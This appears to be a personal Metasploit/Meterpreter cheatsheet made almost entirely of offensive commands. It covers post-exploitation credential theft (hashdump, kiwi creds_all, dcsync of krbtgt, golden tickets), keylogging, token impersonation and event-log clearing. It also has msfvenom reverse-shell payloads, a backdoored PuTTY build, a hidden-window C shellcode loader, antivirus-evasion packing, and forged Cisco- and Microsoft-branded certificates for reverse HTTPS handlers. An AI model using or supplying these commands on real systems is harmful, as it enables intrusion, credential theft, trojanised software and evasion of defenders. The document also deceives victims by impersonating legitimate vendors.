N1NJ10

Meterpreter

Resources

Cheatsheet

Commands

  • init & Info 
    msfconsole -q 
msfvenom -l encoder
sudo systemctl start postgresql & sudo msfdb init
sudo netstat -antp|grep postgres
msf > db_status
 
ls /usr/share/metasploit-framework/modules
ls /usr/share/metasploit-framework/plugins/
ls /usr/share/metasploit-framework/scripts/
ls /usr/share/metasploit-framework/tools/
  • MSF commands
    • Random 
      msf > db_status
msf > hosts -c address
msf > db_nmap -sS -A 10.10.11.129
msf > services
msf > search portscan
msf > hosts -c address,os_flavor,vulns,svcs,workspace
msf > vulns
msf > workspace -a new
msf > workspace new
msf > search name:apache type:exploit date:YYYY
msf > info exploit/multi/http/log4shell_header_injection
msf > use exploit/multi/http/log4shell_header_injection
msf > db_import /root/Downloads/Meta_yxfn4t.nessus
msf > back
msf > show options
msf > show payloads
msf > setg LHOST 10.0.2.41
msf > save 
msf > search jenkins type:exploit platform:windows
msf > grep meterpreter show payloads
msf > grep meterpreter grep reverse_tcp show payloads
msf > workspace -a new
msf > db_nmap -O 192.168.6.0/24
 
 
set ExitOnSession true # The listener will automatically terminate
run -j # run in background
      • PostExploitation 
        meterpreter > screenshot
meterpreter > sysinfo
meterpreter > ps
meterpreter > ps explorer.exe
meterpreter > migrate 6120
meterpreter > run post/windows/capture/keylog_recorder
 
meterpreter > use priv
meterpreter > run post/windows/gather/smart_hashdump (admin/system)
meterpreter > load kiwi
meterpreter > creds_all (system)
meterpreter > dcsync_ntlm krbtgt
meterpreter > golden_ticket_create -d <Domain> -u <Username>
 
 
meterpreter> sessions -u 1
 
meterpreter > getsystem
meterpreter > steal_token 380
meterpreter > getuid
 
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token SNEAKS.IN\\ihazdomainadmin
 
 
meterpreter > run post/windows/manage/enable_rdp
meterpreter > load sniffer
meterpreter > sniffer_interfaces 
meterpreter > sniffer_start 1
meterpreter > sniffer_dump 1 /tmp/interface1.pcap
 
# Tips & Tricks 
meterpreter > clearev
msf > search type:post name:gather platform:linux
msf > search platform:windows persistence
set ReverseListenerBindAddress 127.0.0.1 # when using ngrok
set ReverseListenerBindPort 5555 # local port when using ngrok
  • Modules 
    auxiliary : 
Scanning : 
- auxiliary/scanner/ip/ipidseq => idel scan (not work)
- msf > use auxiliary/scanner/portscan/syn => syn portscanner 
- use auxiliary/scanner/mssql/mssql_ping => mssql scanner 
Services : 
- use auxiliary/scanner/smb/smb_version => smb version 
- use auxiliary/scanner/ssh/ssh_version => ssh version 
- use auxiliary/scanner/ftp/ftp_version => ftp version 
  - use auxiliary/scanner/ftp/anonymous => anonymous ftp 
- use auxiliary/scanner/snmp/snmp_login => snmp bruteforce
  • Evasion
    • Scaning 
      msf-virustotal -k gph_lasdifj2389fjwe9ufhwe89fh234w -f azure_agent.exe
    • Encoders 
      msfvenom -l encoders 
 
msfvenom LHOST=192.168.99.23 LPORT=1234 --platform windows -a x64 -p windows/x64/shell/reverse_tcp -e x64/xor_dynamic -i 3 -f exe -o payload.exe
 
 
 
 
# Backdooring 
	 wget https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe -O clean_putty.exe
	 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.99.23 LPORT=1234 -x clean_putty.exe -k -f exe -o evil_putty.exe
 
 
#SGN (Good Scenario)
	msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.99.23 LPORT=1234 -f raw -o raw.bin
	sudo docker run -it -v $(pwd):/app -w /app egee/sgn -a 64 -c 5 -o encoded.bin raw.bin
	xxd -i encoded.bin > payload.h
	nano loader.c 
	
	#include <windows.h>
	#include <stdio.h>
	#include "payload.h" // <--- This imports your array 'encoded_bin' and length 'encoded_bin_len'
	
	int main() {
	    // 1. Stealth: Hide the console window
	    ShowWindow(GetConsoleWindow(), SW_HIDE);
	
	    // 2. Allocate Memory: We need Read/Write/Execute permissions
	    void *exec = VirtualAlloc(0, encoded_bin_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	    // 3. Copy: Move our SGN-encoded shellcode into the allocated memory
	    memcpy(exec, encoded_bin, encoded_bin_len);
	
	    // 4. Execute: Jump to the memory address
	    // SGN has its own built-in decoder, so we just run the first byte.
	    ((void(*)())exec)();
	
	    return 0;
	}
	
	x86_64-w64-mingw32-gcc loader.c -o sgn_payload.exe -lws2_32 -mwindows -s
    • Packers 
      upx -9 my_custom.exe -o packed_payload.exe
 
docker run -it -v $(pwd):/app -w /app egee/amber -f payload2.exe -e 4 -o payload5.exe
    • SSL 
      # impersonate_ssl (Metasploit)
	msf > use auxiliary/gather/impersonate_ssl
	msf auxiliary(gather/impersonate_ssl) > set RHOST www.cisco.com
	msf auxiliary(gather/impersonate_ssl) > run
 
	mv /root/.msf4/loot/20251226120320_default_2.22.4.110_2.22.4.110_pem_709688.pem cisco.pem
	
	msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.99.23 LPORT=443 HandlerSSLCert=./cisco.pem StagerVerifySSLCert=true -f exe -o cisco.exe
	
	msf > use exploit/multi/handler
	msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_https
	msf exploit(multi/handler) > set LHOST 192.168.99.23
	msf exploit(multi/handler) > set LPORT 443
	msf exploit(multi/handler) > set HandlerSSLCert /root/metaspliot/cisco.pem
	msf exploit(multi/handler) > set StagerVerifySSLCert true
	msf exploit(multi/handler) > run
	
# Openssl 
	# Generate Key 
	openssl genrsa -out private.key 2048 
	# Generate Cert (Interactive - LIE HERE) 
	# CN=azure-edge-node-88.internal 
	# O=Microsoft Corporation 
	openssl req -new -x509 -sha256 -key private.key -out public.crt -days 365 
	# Create the Bundle 
	cat private.key public.crt > azure_fake.pem
	
	msf > use exploit/multi/handler
	msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_https
	msf exploit(multi/handler) > set LHOST 192.168.99.23
	msf exploit(multi/handler) > set LPORT 443
	msf exploit(multi/handler) > set HandlerSSLCert /root/metaspliot/cisco.pem
	msf exploit(multi/handler) > set StagerVerifySSLCert true
	msf exploit(multi/handler) > run

Tools

Notes

Graph View

Backlinks